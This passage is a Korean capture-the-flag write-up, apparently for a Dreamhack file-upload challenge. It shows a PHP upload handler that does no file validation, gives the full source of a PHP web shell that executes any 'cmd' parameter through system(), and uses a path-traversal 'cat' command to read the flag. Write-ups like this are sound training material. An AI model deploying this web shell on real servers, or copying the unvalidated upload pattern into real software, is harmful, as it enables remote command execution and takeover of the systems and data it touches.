<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
웹서버 코드를 보면 업로드 하는 파일에 대해 어떠한 검증도 하지 않기 때문에 php 웹쉘을 업로드하면 된다.
아래는 업로드할 php 웹쉘 코드이다.
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
입력 필드를 생성하고 입력된 값을 그대로 시스템 명령으로 실행하는 코드이다.
업로드 후 list 페이지로 가서 업로드 된 파일을 클릭하면 아래처럼 나온다.
cat ../../../../flag.txt 를 입력하고 Execute 클릭하면 플래그 획득!
'dreamhack' 카테고리의 다른 글
[Dreamhack] web-ssrf (0) | 2024.01.15 |
---|---|
[Dreamhack] file-download-1 (1) | 2024.01.14 |
[Dreamhack] command-injection-1 (0) | 2024.01.10 |
[Dreamhack] Mango (0) | 2024.01.10 |
[Dreamhack] simple_sqli (1) | 2024.01.09 |